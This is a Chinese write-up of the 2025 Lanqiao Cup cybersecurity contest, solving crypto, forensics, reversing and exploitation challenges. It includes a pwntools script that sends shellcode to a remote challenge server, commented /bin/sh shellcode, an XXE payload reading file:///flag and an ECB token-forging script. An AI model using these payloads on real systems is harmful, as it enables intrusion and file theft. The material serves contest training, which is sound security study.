2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup
2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup
- 2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup
- 情报收集
- 黑客密室逃脱
- 数据分析
- ezEvtx
- flowzip
- 密码破解
- Enigma
- ECBTrain
- easy_AES
- 逆向分析
- ShadowPhases
- 漏洞挖掘分析
- RuneBreach
- 星际XML解析器
2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup
情报收集
黑客密室逃脱
根据网页提示,一步步进行,最后得到读取文件接口,尝试读取./,报错:
得知这个python文件为app.py,直接读取源码:
发现它将key写入了文件中,读取key:
secret_key8969
密文在一开始的页面中,
编写脚本如下:
def simple_encrypt(text, key):encrypted = bytearray()for i in range(len(text)):char = text[i]key_char = key[i % len(key)]encrypted.append(ord(char) + ord(key_char))return encrypted.hex()def simple_decrypt(text, key):encrypted = bytearray()for i in range(len(text)):char = text[i]key_char = key[i % len(key)]encrypted.append(char - ord(key_char))return encryptedprint(simple_decrypt(b''.fromhex('d9d1c4d9e0da90a197ae9e716e66a7959aa592a8c0cd98a6706d699aa098c6abc6ab93cecada9b6f98b6'),'secret_key8969'))
数据分析
ezEvtx
下载文件,双击打开,按事件ID排序,找到了一个跟别的事件id不同的事件:
答案即为 confidential.docx。
flowzip
wireshark 打开,过滤器设置为 tcp contains "flag"
:
直接看到 flag。
密码破解
Enigma
打开网页,是cyberchef的网页,打开自己的本地Cyberchef,设置相同的参数,解出原文:
file:///D:/Windows/CTF%20tools/Cryptography/CyberChef/CyberChef_v10.19.4.html#recipe=Enigma('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','A','A','EKMFLGDQVZNTOWYHXUSPAIBRCJ%3CR','A','A','AJDKSIRUXBLHWTMCQGZNPYFVOE%3CF','A','A','BDFHJLCPRTXVZNYEIWGAKMUSQO%3CW','A','A','AY%20BR%20CU%20DH%20EQ%20FS%20GL%20IP%20JX%20KN%20MO%20TZ%20VW','',true)&input=SUxCREEgTUhTV1ggTU9STlogRERET1QgS1VZWkEgVlNCSkM&oeol=NEL
原文为:
HELLO CTFER THISI SAMES SAGEF ORYOU
ECBTrain
根据尝试,发现用户名相同时,得到的auth相同,且base64解码后总为16字节,猜测auth为用户名加密后的结果,用户名不能设置为admin,结合题目提示,第二块明文设置为admin,脚本如下:
from pwn import *p = remote("8.147.132.32", 18450)p.recvuntil('请输入选项编号: '.encode())p.sendline(b'1')
p.sendline(b'a'*16+b'admin')
p.sendline(b'aaa')p.interactive()
得到auth后base64解码,截取后16字节后base64编码,选择登录,输入auth,得到flag。
easy_AES
关键点在于key1是由key0进行置换后得到的,尝试编写脚本爆破置换表后进行解密。
编写脚本如下:
from Crypto.Cipher import AES # 导入AES加密模块
# from secret import flag # 从secret模块导入flag(假设为明文)
import random, os # 导入random和os模块用于随机数生成# 为消息填充字节,使其长度为16的倍数
def pad(msg):return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])# 对密钥进行随机置换,生成新密钥
def permutation(key):tables = [hex(_)[2:] for _ in range(16)] # 生成0-15的十六进制表(去掉"0x"前缀)random.shuffle(tables) # 随机打乱表newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key))) # 根据原密钥生成新密钥return newkey# 生成初始密钥key0及其置换密钥key1
def gen():key0 = os.urandom(16).hex() # 随机生成16字节密钥并转为十六进制字符串key1 = permutation(key0) # 对key0进行置换生成key1return key0, key1# 使用key0和key1进行双重AES加密
def encrypt(key0, key1, msg):aes0 = AES.new(key0, AES.MODE_CBC, key1) # 用key0加密,key1作为CBC模式的IVaes1 = AES.new(key1, AES.MODE_CBC, key0) # 用key1解密,key0作为CBC模式的IVreturn aes1.decrypt(aes0.encrypt(msg)) # 先加密后解密生成密文def decrypt(key0, key1, msg):aes0 = AES.new(key0, AES.MODE_CBC, key1) # 用key0加密,key1作为CBC模式的IVaes1 = AES.new(key1, AES.MODE_CBC, key0) # 用key1解密,key0作为CBC模式的IVreturn aes0.decrypt(aes1.encrypt(msg)) # 先加密后解密生成密文'''
# 生成密钥对
key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16) # 将密钥转为整数gift = a0 & a1 # 计算key0和key1的按位与,作为泄露信息
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag)) # 加密填充后的flagprint(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")'''
gift = 64698960125130294692475067384121553664
# key1 = b''.fromhex('74aeb356c6eb74f364cd316497c0f714')
key1 = int('74aeb356c6eb74f364cd316497c0f714', 16)
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'# gift = bytes.fromhex(hex(gift)[2:])
# key1 = bytes.fromhex(hex(key1)[2:])
gift = hex(gift)[2:]
key1 = hex(key1)[2:]
key0 = [[-1]]*16print(gift)
print(key1)
print(key0)for i in range(32):key_new = []for j in range(16):if int(key1[i],16) & j == int(gift[i],16):# print(j)key_new.append(hex(j)[2:])# print(int(key1[i],16))key0[int(key1[i],16)] = key_newfor i in range(len(key0)):if key0[i][0] == -1:key0[i] = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
print(key0)
key0a = []def gogogo(used,i):global key0,key0afor j in key0[i]:if j not in used:if i != 15:used2 = used + [j]# print(used2)gogogo(used2, i+1)else:key0a.append(used + [j])gogogo([],0)
# print(key0a)# for i in key0a:
# if not i is list:
# continue
# # for j in range(len(key1)):
# # try:
# # newkey = "".join(i[int(key1[j], 16)])
# # except:
# # print(i)
# # print(int(key1[j], 16))
# # print(i[int(key1[j], 16)])
# # exit(0)
# newkey = "".join(i[int(key1[_], 16)] for _ in range(len(key1)))
# try:
# ret = decrypt(newkey, key1, cipher)
# if b'flag' in ret:
# print(ret)
# break
# except:
# print(newkey)ret_all = b''for i in key0a:newkey = "".join(i[int(key1[_], 16)] for _ in range(len(key1)))# print(newkey)a0, a1 = int(newkey, 16), int(key1, 16)if a0 & a1 == 64698960125130294692475067384121553664:# print(newkey)ret = decrypt(bytes.fromhex(newkey), bytes.fromhex(key1), cipher)# print(ret)ret_all += retwith open('result.txt', 'wb') as f:f.write(ret_all)
打开写出的 result.txt,搜索 flag:
逆向分析
ShadowPhases
IDA打开程序,发现解密代码,直接复制执行即可:
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>using namespace std;
typedef long long LL;
typedef long double DD;__int64 __fastcall sub_40159A(unsigned __int8 a1)
{return (2 * a1) | (unsigned int)(a1 >> 7);
}unsigned __int64 __fastcall sub_4015B6(__int64 a1, unsigned __int64 a2, char a3)
{unsigned __int64 result; // raxunsigned __int64 i; // [rsp+28h] [rbp-8h]for ( i = 0; ; ++i ){result = i;if ( i >= a2 )break;*(_BYTE *)(i + a1) = a3 ^ sub_40159A(*(unsigned __int8 *)(a1 + i));}return result;
}int main()
{char Str1[128]; // [rsp+30h] [rbp-50h] BYREFchar Str2[128]; // [rsp+B0h] [rbp+30h] BYREFvoid *v6; // [rsp+130h] [rbp+B0h]void *v7; // [rsp+138h] [rbp+B8h]void *v8; // [rsp+140h] [rbp+C0h]void *v9; // [rsp+150h] [rbp+D0h]void *v10; // [rsp+158h] [rbp+D8h]void *v11; // [rsp+160h] [rbp+E0h]char v12[13]; // [rsp+16Eh] [rbp+EEh] BYREFchar v13[15]; // [rsp+17Bh] [rbp+FBh] BYREFchar Src[14]; // [rsp+18Ah] [rbp+10Ah] BYREFchar* v15; // [rsp+18Fh] [rbp+10Fh] BYREFvoid *v16; // [rsp+198h] [rbp+118h]void *v17; // [rsp+1A0h] [rbp+120h]void *Block; // [rsp+1A8h] [rbp+128h]char v19[6]; // [rsp+1B2h] [rbp+132h] BYREFsize_t v20; // [rsp+1B8h] [rbp+138h]size_t v21; // [rsp+1C0h] [rbp+140h]size_t Size; // [rsp+1C8h] [rbp+148h]v15 = Src + 5;Src[0] = 0;Src[1] = 5;Src[2] = -125;Src[3] = 0x80;Src[4] = -114;strcpy(v15, "+");v15[2] = -125;v15[3] = 47;v15[4] = -86;v15[5] = 43;v15[6] = -127;v15[7] = -88;v15[8] = -91;Size = 14;v13[0] = 19;v13[1] = 57;v13[2] = -66;v13[3] = -66;v13[4] = -76;v13[5] = 56;v13[6] = -72;v13[7] = -70;v13[8] = -69;v13[9] = -76;v13[10] = 62;v13[11] = -112;v13[12] = 58;v13[13] = -70;v13[14] = -76;v21 = 15;v12[0] = -117;v12[1] = -119;v12[2] = 34;v12[3] = -120;v12[4] = -117;v12[5] = 32;v12[6] = 9;v12[7] = 34;v12[8] = -120;v12[9] = 8;v12[10] = -115;v12[11] = -120;v12[12] = -81;v20 = 13;v19[5] = -103;v19[4] = -35;v19[3] = -1;qmemcpy(v19, "\"Df", 3);Block = malloc(0xFu);v17 = malloc(v21 + 1);v16 = malloc(v20 + 1);memcpy(Block, Src, Size);memcpy(v17, v13, v21);memcpy(v16, v12, v20);sub_4015B6((long long)Block, Size, (unsigned __int8)v19[2]);sub_4015B6((long long)v17, v21, (unsigned __int8)v19[1]);sub_4015B6((long long)v16, v20, (unsigned __int8)v19[0]);*((_BYTE *)Block + Size) = 0;*((_BYTE *)v17 + v21) = 0;*((_BYTE *)v16 + v20) = 0;v9 = v17;v10 = v16;v11 = Block;v6 = Block;v7 = v17;v8 = v16;snprintf(Str2, 128, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16);printf(Str2);return 0; //-22 61 13 92
}
漏洞挖掘分析
RuneBreach
IDA打开,发现在被boss击败后(一直输入n),可以获得一次read后直接执行的机会,但是由于seccomp限制,不能getshell,只能读取flag。代码如下:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-from pwn import *context.log_level = "debug"
context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0', '--title', 'gdb', 'bash', '-c']# p = remote("challenge.qsnctf.com", 30714)
p = remote("39.106.25.161", 37397)
# p = process("./chall")
# elf = ELF("/mnt/c/Users/崔志鹏/Desktop/临时/RANDOM")
# _libc = ELF('./libc.so.6')# target_address = 0x40094E
# ret_address = 0x40066A
# pop_rdi = 0x400743# 64位
context(arch="amd64",os="linux")
stack_len = 0x80 + 0x8# shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" #64位 23字节
# shellcode = asm(shellcraft.sh()) #自动生成shellcode
shellcode = asm(shellcraft.cat("flag"))
# shellcode = b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"# payload = shellcode.ljust(stack_len , b"\x00") + p64(jmp_rsp_address) + asm("sub rsp, 0x90") + asm("jmp rsp")
# payload = stack_len * b"\x00" + p64(target_address)p.recvuntil(b'==== BOSS BATTLE START ====\n\n')p.recvline()while(True):p.recvline()p.recvline()p.recvline()# p.recvline()p.sendline(b'n')p.recvline()p.recvline()ret = p.recvline()if not ret.startswith(b'-- Round '):breakp.recvuntil(b'Say your last word to your territory:')
# gdb.attach(p)
# input()
p.send(shellcode)
# p.send(payload)p.interactive()
星际XML解析器
可以解析XML,直接利用XXE读取flag:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds><user>&xxe;</user><pass>mypass</pass>
</creds>
相关文章:
2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup
2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup 2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup情报收集黑客密室逃脱 数据分析ezEvtxflowzip 密码破解EnigmaECBTraineasy_AES 逆向分析ShadowPhases 漏洞挖掘分析RuneBrea…...
HTTP 协议深度解析:从基础到实战的完整指南
HTTP(HyperText Transfer Protocol)是 应用层协议,用于客户端(浏览器、APP)与服务器之间的数据交互。以下从协议原理、核心机制到实际案例全面解析,涵盖 HTTP/1.1 到 HTTP/3 的演进。 一、HTTP 核心特性 …...
5G助力智慧城市的崛起——从概念到落地的技术实践
5G助力智慧城市的崛起——从概念到落地的技术实践 引言:智慧城市中的“隐形脉络” 随着城市化的快速推进,传统的城市管理方式已经难以满足人口增长和资源优化的需求。智慧城市的概念应运而生,通过技术创新实现智能化、可持续发展的城市生态…...
4.25test
R7-5 小黄与研究生会(20) 分数 12 全屏浏览 切换布局 作者 王秀 单位 福州大学 福州大学研究生院怡山的同学们为了在国家对抗新冠疫情期间献出自己的一份力量,他们决定为奋战在一线的医护人员送去了演出。小黄作为研究生协会的会长,他让每位男同学均带去了若干只猫或狗…...
Unity-Shader详解-其一
今天我们来介绍Unity的一大核心组件:shader。 Shader Shader就是我们的着色器,用于控制图形的渲染的计算和生成。 对于不同的引擎,具体实现渲染的方法也不一样,也就是我们俗称的不同的图形引擎API,比如OpenGL,Direct…...
WPF与C++ 动态库交互
WPF与C++动态库交互技术详解 一、基本交互方式概述 WPF应用程序与C++动态库交互主要有以下几种方式: P/Invoke调用(平台调用)COM互操作C++/CLI桥接层内存映射文件命名管道/Socket通信本文将重点介绍最常用的P/Invoke和C++/CLI两种…...
自动化测试实战篇
文章目录 目录1. 自动化实施步骤1.1 编写web测试用例1.2 自动化测试脚本开发1.3 测试报告 目录 自动化实施步骤 1. 自动化实施步骤 1.1 编写web测试用例 注: 因为这里仅作为演示,所以设计的用例并不是非常完整 1.2 自动化测试脚本开发 # common/Util…...
基于pandoc的MarkDown格式与word相互转换小工具开发(pyqt5)
这里写目录标题 开发目标准备工作源代码程序打包其他事项命令行使用pandoc关于pandoc默认表格无边框的说明 开发目标 采用word格式模板,实现高级定制样式。具备配置保存功能,方便快捷。自定义转换选项、pandoc路径。 准备工作 开发环境:Wi…...
JVM知识点(一)---内存管理
一、JVM概念 什么是JVM? 定义: Java Virtual Machine - java程序的运行环境(java二进制字节码的运行环境) 好处: 一次编写,到处运行自动内存管理,垃圾回收功能数组下标越界越界检查多态 比较jvm jre jdk区别 学习路…...
Apache NetBeans 25 发布
Apache NetBeans 25 已于 2025 年 2 月 20 日发布3。NetBeans 是一个主要面向 Java 的集成开发环境,同时支持 C/C、PHP、JavaScript 和其他编程语言1。以下是一些主要的更新内容: Gradle 的优化与增强:优化单文件测试功能,即使测试…...
【设计模式区别】装饰器模式和适配器模式区别
装饰器模式(Decorator Pattern)和适配器模式(Adapter Pattern)都是 结构型设计模式 或者说 包装模式 (Wrapper),用于解决对象的组合和扩展问题,但它们的核心目的、结构和使用场景有显…...
矫平机终极指南:特殊材料处理、工艺链协同与全球供应链管理
一、特殊材料矫平:挑战与创新解决方案 1. 高温合金(如Inconel 718)处理 技术难点: 屈服强度高达1100 MPa,传统矫平力不足 高温下易氧化,需惰性气体保护环境 解决方案: 采用双伺服电机驱动&a…...
stm32进入睡眠模式的几个注意点
(1)关闭systick (2)先关闭外设时钟,再屏蔽中断,避免先屏蔽中断再关闭外设时钟导致中断挂起无法进入睡眠模式(立即被唤醒)。 参考: 注:图片截自《RM0433参考手…...
深入理解网络安全中的加密技术
1 引言 在当今数字化的世界中,网络安全已经成为个人隐私保护、企业数据安全乃至国家安全的重要组成部分。随着网络攻击的复杂性和频率不断增加,保护敏感信息不被未授权访问变得尤为关键。加密技术作为保障信息安全的核心手段,通过将信息转换为…...
学习设计模式《六》——抽象工厂方法模式
一、基础概念 抽象工厂模式的本质是【选择产品簇(系列)的实现】; 抽象工厂模式定义:提供一个创建一系列相关或相互依赖对象的接口,而无需指定它们具体的类; 抽象工厂模式功能:抽象工厂的功能是为一系列相关对象或相互依…...
MySQL 数据类型
文章目录 数据类型数据类型分类数据类型tinyint类型(整型)总结bit类型(字节) 浮点类型float类型decimal类型 字符串类型char类型varchar(变长字符串) char 和 varchar的对比日期类型enum和set类型ÿ…...
基于Tcp协议的应用层协议定制
前言:本文默认读者已掌握 TCP 协议相关网络接口知识,将聚焦于应用层协议的设计与剖析,有关底层通信机制及业务逻辑部分仅作简要概述,不再展开详述。 目录 服务器 一、通信 二、协议 1.序列化与反序列化 2. 封包与解包 三、业…...
Flink反压问题解析
一、什么是反压(Backpressure)? 反压(Backpressure) 是流处理系统中的一种流量控制机制。当下游算子处理速度低于上游数据生产速度时,系统会向上游传递压力信号,迫使上游降低数据发送速率,避免数据堆积和系统崩溃。 Flink 通过动态反压机制实现这一过程,但其副作用是…...
C语言中结构体的字节对齐的应用
一、字节对齐的基本原理 计算机的内存访问通常以固定大小的块(如 4 字节、8 字节)为单位。若数据的内存地址是块大小的整数倍,称为 自然对齐。例如: int(4 字节)的地址应为 4 的倍数。 double(…...
大规模数据同步后数据总条数对不上的系统性解决方案:从字段映射到全链路一致性保障
一、引言 在数据同步(如系统重构、分库分表、多源整合)场景中,“本地数据一致,生产环境条数对不上”是典型痛点。问题常源于并发处理失控、数据库性能瓶颈、字段映射错误、缓存脏数据等多维度缺陷。本文结合实战经验,…...
美团Java后端二面面经!
场景题是面试的大头,建议好好准备 Q. [美团]如何设计一个外卖订单的并发扣减库存系统? Q.[美团]为啥初始标记和重新标记需要STW? Q.[美团]骑手位置实时更新,如何保证高并发写入? Q.[美团]订单表数据量过大导致查询…...
35-疫苗预约管理系统(微服务)
技术: RuoYi框架 后端: SpringBootMySQLspringCloudnacosRedis 前端: vue3 环境: Idea mysql maven jdk1.8 用户端功能 1.首页:展示疫苗接种须知标语、快速预约模块 2.疫苗列表:展示可接种的疫苗 3.预约接种: 用户可进行疫苗预约接种 修改预约时间 …...
Ext JS模拟后端数据之SimManager
Ext.ux.ajax.SimManager 是 Ext JS 框架中用于拦截 Ajax 请求并返回模拟数据的核心工具,适用于前后端分离开发、原型验证或独立测试场景。它通过配置灵活的规则和模拟处理器(Simlet),帮助开发者在不依赖真实后端的情况下完成前端功能开发。 simlets 是simulated servers的…...
BT169-ASEMI无人机专用功率器件BT169
编辑:ll BT169-ASEMI无人机专用功率器件BT169 型号:BT169 品牌:ASEMI 封装:SOT-23 批号:最新 引脚数量:3 特性:单向可控硅 工作温度:-40℃~150℃ BT169单向可控硅ÿ…...
4月26日星期六今日早报简报微语报早读
4月26日星期六,农历三月廿九,早报#微语早读。 1、广州多条BRT相关线路将停运,全市BRT客运量较高峰时大幅下降; 2、国务院批复:同意在海南全岛等15地设立跨境电商综合试验区; 3、我国首次实现地月距离尺度…...
如何将 sNp 文件导入并绘制到 AEDT (HFSS)
导入 sNp 文件 打开您的项目,右键单击 “Result” 绘制结果 导入后,用户可以选择它进行打印。请参阅下面的示例。要点:确保从 Solution 中选择它。...
Shell脚本-for循环应用案例
在Shell脚本编程中,for循环是一种强大的工具,用于处理重复性任务。无论是批量处理文件、遍历目录内容还是简单的计数任务,for循环都能提供简洁而有效的解决方案。本文将通过几个实际的应用案例来展示如何使用for循环解决具体的编程问题。 案…...
MATLAB基础应用精讲-【基础知识篇】发布和共享 MATLAB 代码
目录 MATLAB发布代码---生成文档pdf 分节符对发布文件的分节 实时脚本 Matlab workspace与m脚本数据共享 发布和共享 MATLAB 代码 在实时编辑器中创建和共享实时脚本 发布 MATLAB 代码文件 (.m) 添加帮助和创建文档 发布 MATLAB 代码文件 (.m) 可创建包括您的代码、注释…...
Shell脚本-while循环语法结构
在Shell脚本编程中,while循环是一种重要的流程控制语句,它允许我们重复执行一段代码,直到指定的条件不再满足为止。与for循环不同,while循环通常用于条件驱动的迭代,而不是基于列表或范围的迭代。本文将详细介绍Shell脚…...
Java基础第四章、面向对象
一、成员变量 示例: 二、JVM内存模型 类变量就是静态变量 三、构造方法 默认构造方法、定义的构造方法(不含参数、含参数) 构造方法重载: this关键字 this关键字应用:对构造方法进行复用,必须放在第一行 四、面向对象的三大特征 1…...
【基础IO上】复习C语言文件接口 | 学习系统文件接口 | 认识文件描述符 | Linux系统下,一切皆文件 | 重定向原理
1.关于文件的预备知识 1.1 文件的宏观理解 广义上理解,键盘、显示器等都是文件,因为我们说过“Linux下,一切皆文件”,当然我们现在对于这句话的理解是片面的;狭义上理解,文件在磁盘上,磁盘是一…...
linux离线部署open-metadata
OpenMetadata 环境及离线资源关闭防火墙禁止防火墙关闭 SELinux 创建用户安装JDK安装mysql安装Elasticsearch安装open-metadata 环境及离线资源 系统:CentOS Linux release 7.9.2009 (Core) JDK:17 Mysql: 8.0 OpenMetadata:1.6.…...
Exposure Adjusted Incidence Rate (EAIR) 暴露调整发病率:精准量化疾病风险
1. 核心概念 1.1 传统发病率的局限性 1.1.1 公式与定义 传统发病率公式为新发病例数除以总人口数乘以观察时间。例如在某社区观察1年,有10例新发病例,总人口1000人,发病率即为10/10001=0.01。 此公式假设所有个体暴露时间和风险相同,但实际中个体差异大,如部分人暴露时间…...
信令与流程分析
WebRTC是h5支持的重要特征之一,有了它,不再需要借助音视频相关的客户端,直接通过浏览器的Web页面就可以实现音视频聊天功能。 WebRTC项目是开源的,我们可以借助WebRTC,构建自己的音视频聊缇娜功能。无论是前端JS的Web…...
声音分离人声和配乐base,vocals,drums -从头设计数字生命第6课, demucs——仙盟创梦IDE
demucs -n htdemucs --two-stemsvocals 未来之窗.mp3 demucs -n htdemucs --shifts5 之.mp3demucs -n htdemucs --shifts5 -o wlzcoutspl 未来之窗.mp3 伴奏提取人声分离技术具有多方面的重大意义,主要体现在以下几个领域: 音乐创作与制作 创作便利…...
Chrmo手动同步数据
地址栏输入 chrome://sync-internals分别点击这2个按钮即可触发手动同步...
【Dify系列教程重置精品版】第1课 相关概念介绍
文章目录 一、Dify是什么二、Dify有什么用三、如何玩转Dify?从螺丝刀到机甲战士的进阶指南官方网站:https://dify.ai github地址:https://github.com/langgenius/dify 一、Dify是什么 Dify(Define + Implement + For You)。这是一款开源的大…...
【HTTP通信:生活中的邮局之旅】
HTTP通信:生活中的邮局之旅 HTTP通信就像是现代社会的邮政系统,让信息能够在互联网的城市间穿梭。下面我将用邮局比喻和图表来解释这个过程,以及它在现代应用中的重要性。 HTTP通信的旅程图解 #mermaid-svg-gC3zCsPpsFcq3sy3 {font-family:…...
Operating System 实验二 内存管理实验
目录 实验目标: 实验设备: 实验内容: (1)验证FIFO和Stack LRU页面置换算法 【代码(注释率不低于30%)】 【实验过程(截图)】 【结论】 (2)分别用FIFO和Stack LRU页置换算法,自己设定一个页面引用序列,绘制页错误次数和可用页帧总数的曲线并对比(可用Excel绘…...
深入解析YOLO v1:实时目标检测的开山之作
目录 YOLO v1 算法详解 1. 核心思想 2. 算法优势 3. 网络结构(Unified Detection) 4. 关键创新 5. 结构示意图(Fig1) Confidence Score 的计算 类别概率与 Bounding Box 的关系 后处理&…...
windows作业job介绍
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、作业job是什么?二、使用步骤1.代码示例 总结 前言 提示:这里可以添加本文要记录的大概内容: winapi网站: h…...
POLARIS土壤相关数据集
POLARIS相关数据集属于杜克大学(Duke University)土木与环境工程系(CEE)的水文学研究团队。该团队有三个总体主题:1) 改善地球系统模型中地表异质性的表示,2) 利用环境数据来描述在陆…...
【Harmony OS】组件
目录 组件概述 组件常用属性 系统内置组件 Text TextArea 多行文本输入框组件 TextInput 文本输入框 Button Image 图片组件,支持本地图片和网络图片 Radio 单选框 Checkbox 复选框 Blank 空白填充组件 Divider 分隔符 PatternLock 图案密码锁组件 Prog…...
找出字符串中第一个匹配项的下标
题目:28. 找出字符串中第一个匹配项的下标 给你两个字符串 haystack 和 needle,请你在 haystack 字符串中找出 needle 字符串的第一个匹配项的下标(下标从 0 开始)。如果 needle 不是 haystack 的一部分,则返回 -1。 …...
专家系统的知识获取、检测与组织管理——基于《人工智能原理与方法》的深度解析
前文我们已经了解了专家系统的基本概念和一般结构,系统中有专业的知识才是专家系统的关键,接下来对专家系统中的知识是如何获取、检测、组织和管理的进行探讨。 1.专家系统的基本概念:专家系统的基本概念解析——基于《人工智能原理与方法》…...
BUUCTF-[GWCTF 2019]re3
[GWCTF 2019]re3 查壳,64位无壳 然后进去发现主函数也比较简单,主要是一个长度校验,然后有一个mprotect函数,说明应该又是Smc,然后我们用脚本还原sub_402219函数处的代码 import idc addr0x00402219 size224 for …...
基准指数选股策略思路
一种基于Python和聚宽平台的量化交易策略,主要包含以下内容: 1. 导入必要的库 - 导入jqdata和jqfactor库用于数据获取和因子计算。 - 导入numpy和pandas库用于数据处理。 2. 初始化函数 - 设置基准指数为沪深300指数。 - 配置交易参数,如使用…...
【阿里云大模型高级工程师ACP习题集】2.5 优化RAG应用提升问答准确度(⭐️⭐️⭐️ 重点章节!!!)
习题集 【单选题】在RAG应用的文档解析与切片阶段,若遇到文档类型不统一,部分格式的文档不支持解析的问题,以下哪种解决方式不可行?( ) A. 开发对应格式的解析器 B. 转换文档格式 C. 直接忽略该类型文档 D. 改进现有解析器以支持更多格式 【多选题】在选择向量数据库时,…...
【torch\huggingface默认下载路径修改】.cache/torch/ 或 .cache/huggingface
问题 服务器的硬盘空间是有限的,系统上的固态硬盘空间又比较小,在跑深度学习模型的时候经常有默认下载权重的操作,不管是torch或者huggingface,如果不加管理,所有的权重都放在home/user/.cache 里面,迟早会…...
SpringBoot 常用注解大全
SpringBoot 常用注解大全 一、核心注解 1. 启动类注解 SpringBootApplication:组合注解,包含以下三个注解 Configuration:标记该类为配置类EnableAutoConfiguration:启用自动配置ComponentScan:组件扫描 2. 配置相…...